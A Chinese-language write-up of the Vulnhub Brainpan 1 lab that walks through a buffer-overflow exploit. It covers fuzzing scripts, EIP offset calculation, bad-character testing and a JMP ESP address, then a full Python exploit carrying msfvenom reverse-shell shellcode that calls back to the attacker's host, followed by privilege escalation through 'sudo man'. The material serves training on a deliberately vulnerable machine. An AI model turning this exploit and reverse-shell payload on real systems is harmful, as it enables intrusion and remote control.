0%

Vulnhub-brainpan-1(缓冲区溢出)

缓冲区溢出的靶机,同样也是类OSCP机器。
靶机下载地址

信息收集

nmap扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-24 23:17 EDT
Nmap scan report for 192.168.56.4
Host is up (0.00052s latency).

PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.80%I=7%D=6/24%Time=5EF41741%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.28 seconds

只开放了两个端口。

  • 10000-http python的simplehttpserver
  • 9999 Unknow

9999

10000

什么都没有的样子,进行目录探测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ gobuster dir -u "http://192.168.56.4:10000/" -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.56.4:10000/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/06/24 23:25:03 Starting gobuster
===============================================================$
/bin (Status: 301)
===============================================================
2020/06/24 23:25:18 Finished
===============================================================

在bin目录下发现一个exe程序。

将其下载下来。我放在了win xp上面运行了。

对测试机进行nc连接。

此时如果strings brainpan.exe会发现存在几个危险函数

  • strcpy()

    strcpy()函数将源字符串复制到缓冲区。没有指定要复制字符的具体数目!如果源字符串碰巧来自用户输入,且没有专门限制其大小,则有可能会造成缓冲区溢出

缓冲区溢出

是否存在缓冲区溢出

接下来进行测试看是否存在缓冲区溢出

编写一个python脚本来进行模糊测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

host='192.168.40.243'
port=9999
buffer = ["A"]
counter = 100

while len(buffer) <= 50:
buffer.append("A" * counter)
counter = counter + 100

for string in buffer:
print("Fuzzing PASS with {} bytes".format(len(string)))
s = socket.socket()
s.connect((host, port))
s.recv(4096)
s.send(string)
s.recv(4096)
s.close()

当发送600个字符的内容时,程序崩溃。并且EIP和EBP寄存器被’A’填满。证明了程序存在缓冲区溢出。

计算ESP什么时候会溢出,填满EIP

使用msf的脚本来生成字符

1
2
/opt/metasploit/tools/exploit/pattern_create.rb -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

修改脚本内容为

1
2
3
4
5
6
7
8
9
host='192.168.40.243'
port=9999
s = socket.socket()
buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
s.connect((host,port))
s.recv(4096)
s.send(buffer)
s.recv(4096)
s.close()

运行脚本之后,EIP的内容为35724134。转换为人类可读形式则是:34417235->4Ar5,EIP寄存器的内容为4Ar5。总不能一个个数吧?所以使用msf的脚本

1
2
/opt/metasploit/tools/exploit/pattern_offset.rb -q 35724134 -l 600
[*] Exact match at offset 524

前524个字符是EBP寄存器的值,所以EIP的值等于525,526,527,528的内容。

重新编写脚本来验证。

1
2
3
4
5
6
7
8
9
host='192.168.40.243'
port=9999
s = socket.socket()
buffer="A"*524+"B"*4
s.connect((host,port))
s.recv(4096)
s.send(buffer)
s.recv(4096)
s.close()

如果猜想正确的话,运行这个脚本之后,EIP寄存器的值应该是4个B,42424242。

EIP的值已经被精确的填入4个B了。

计算ESP能存放多少字符

ESP的大小限制了shellcode的大小,如果ESP只能存放400字节的内容,那么shellcode的字节内容就不能超过ESP的上限。并且最好留出一部分字节内容来传入’\x90’来保护shellcode的前部分代码不会被擦除。

1
2
3
4
5
6
7
8
host='192.168.40.243'
port=9999
s = socket.socket()
buffer = 'A' * 524 + 'B' * 4 + 'C' * (3000 - 524 - 4)
s.connect((host, port))
s.recv(4096)
s.send(buffer)
s.recv(4096)

这里要获得寄存器能够存放多少个字符,所以往大写了,当运行之后有多少个C被显示,就是ESP寄存器的大小。


ESP寄存器已经被C所填满。找到ESP寄存器的起始地址和结束地址。我这里的起始地址为0022F960,结束地址为0022FB34。

用结束地址减去起始地址得到的值,就是ESP寄存器大小的值。

0xB34-0x960=2868-2400=468

468个字符,已经能够存放我们的shellcode了。

挑选坏字符

缓冲区溢出的在生成shellcode时,会影响输入的字符,比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。

由于以上原因,所以我们需要挑选出坏字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x00"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x40"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"
"\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0")

将上一节的脚本修改以下地方

1
buffer = 'A' * 524 + 'B' * 4 + badchars

运行之后,我们可以看到ESP的内容在\x09之后就没有\x00。所以应该是被截断了。

将badchars的\x00修改为\x01,再次运行。此时就正常显示了。

坏字符为:\x00

找到跳板地址

ESP的内存地址并不是固定的,而我们的shellcode是存放在ESP寄存器中的,所以我们要找到一个办法让程序能够跳转到ESP寄存器中,执行我们的shellcode。

汇编中有一条指令 JMP ESP。如果我们能够找到这条指令的内存地址,那么我们就能修改EIP寄存器的值为JMP ESP的内存地址,由该指令跳转到ESP寄存器来执行我们的shellcode。

在此之前先查看程序的保护机制。
输入!mona modules

可以看到brainpan.exe的系统保护机制和rebase都为Flase,可以直接拿来利用。

使用nasm_shell来获得jmp esp的十六进制指令

1
2
3
$/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
0000000 FFE4 jmp esp

jmp esp的十六进制指令为FFE4.

在Immunity Debugger中输入

1
!mona find -s "\xff\xe4" -m brainpan.exe

得到的地址为0x311712f3,转换为计算机可读形式为:\xf3\x12\x17\x31

代码中EIP的值就是’\xf3\x12\x17\x31’,因为我们要让其跳转到ESP寄存器,执行我们的代码。

生成shellcode

使用msfvenom来生成shellcode

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.40.204 LPORT=4444 -b "\x00" -f python -e x86/shikata_ga_nai -a x86

修改代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
host='192.168.40.243'
port=9999

buf = b""
buf += b"\xdb\xc1\xb8\xb8\x37\x2a\x73\xd9\x74\x24\xf4\x5d\x2b"
buf += b"\xc9\xb1\x52\x83\xc5\x04\x31\x45\x13\x03\xfd\x24\xc8"
buf += b"\x86\x01\xa2\x8e\x69\xf9\x33\xef\xe0\x1c\x02\x2f\x96"
buf += b"\x55\x35\x9f\xdc\x3b\xba\x54\xb0\xaf\x49\x18\x1d\xc0"
buf += b"\xfa\x97\x7b\xef\xfb\x84\xb8\x6e\x78\xd7\xec\x50\x41"
buf += b"\x18\xe1\x91\x86\x45\x08\xc3\x5f\x01\xbf\xf3\xd4\x5f"
buf += b"\x7c\x78\xa6\x4e\x04\x9d\x7f\x70\x25\x30\x0b\x2b\xe5"
buf += b"\xb3\xd8\x47\xac\xab\x3d\x6d\x66\x40\xf5\x19\x79\x80"
buf += b"\xc7\xe2\xd6\xed\xe7\x10\x26\x2a\xcf\xca\x5d\x42\x33"
buf += b"\x76\x66\x91\x49\xac\xe3\x01\xe9\x27\x53\xed\x0b\xeb"
buf += b"\x02\x66\x07\x40\x40\x20\x04\x57\x85\x5b\x30\xdc\x28"
buf += b"\x8b\xb0\xa6\x0e\x0f\x98\x7d\x2e\x16\x44\xd3\x4f\x48"
buf += b"\x27\x8c\xf5\x03\xca\xd9\x87\x4e\x83\x2e\xaa\x70\x53"
buf += b"\x39\xbd\x03\x61\xe6\x15\x8b\xc9\x6f\xb0\x4c\x2d\x5a"
buf += b"\x04\xc2\xd0\x65\x75\xcb\x16\x31\x25\x63\xbe\x3a\xae"
buf += b"\x73\x3f\xef\x61\x23\xef\x40\xc2\x93\x4f\x31\xaa\xf9"
buf += b"\x5f\x6e\xca\x02\x8a\x07\x61\xf9\x5d\xe8\xde\x29\x52"
buf += b"\x80\x1c\x29\x7b\x0d\xa8\xcf\x11\xbd\xfc\x58\x8e\x24"
buf += b"\xa5\x12\x2f\xa8\x73\x5f\x6f\x22\x70\xa0\x3e\xc3\xfd"
buf += b"\xb2\xd7\x23\x48\xe8\x7e\x3b\x66\x84\x1d\xae\xed\x54"
buf += b"\x6b\xd3\xb9\x03\x3c\x25\xb0\xc1\xd0\x1c\x6a\xf7\x28"
buf += b"\xf8\x55\xb3\xf6\x39\x5b\x3a\x7a\x05\x7f\x2c\x42\x86"
buf += b"\x3b\x18\x1a\xd1\x95\xf6\xdc\x8b\x57\xa0\xb6\x60\x3e"
buf += b"\x24\x4e\x4b\x81\x32\x4f\x86\x77\xda\xfe\x7f\xce\xe5"
buf += b"\xcf\x17\xc6\x9e\x2d\x88\x29\x75\xf6\xb8\x63\xd7\x5f"
buf += b"\x51\x2a\x82\xdd\x3c\xcd\x79\x21\x39\x4e\x8b\xda\xbe"
buf += b"\x4e\xfe\xdf\xfb\xc8\x13\x92\x94\xbc\x13\x01\x94\x94"

buffer = "A" * 524 + "\xf3\x12\x17\x31" + buf
s = socket.socket()
s.connect((host, port))
s.recv(4096)
s.send(buffer)
s.recv(4096)

但是,并没有正确的收到反弹的shell

将shellcode的字节和ESP寄存器的内容进行对比,会发现shellcode的前十六个字节内容被擦除了。

这里就要用到一开始提到的\x90来保护shellcode,保证shellcode的前部分代码不会被擦除。

修改代码

1
buffer = "A" * 524 + "\xf3\x12\x17\x31" +"\x90" * 16 + buf


此时正确接收到反弹回来的shell。

靶机是Linux系统,所以要修改shellcode。重新使用msf生成shellcode

1
msfvenom -p linux/x86/shell_reverse_tcp LPORT=4444 LHOST=192.168.56.10 -f python -b "\x00"

成功反弹shell!

提权


进行信息收集…..


执行sudo -l后,发现当前用户可以无密码执行/home/anansi/bin/anansi_util程序

依次执行看了一下,分别是

  • ip a/ipconfig 命令
  • top
  • man

sudo man能够提权,所以就利用它了。

总结

这是我遇到的第一个缓冲区溢出的靶机,让我重新学习了一波缓冲区溢出。感觉不是很难??获益良多。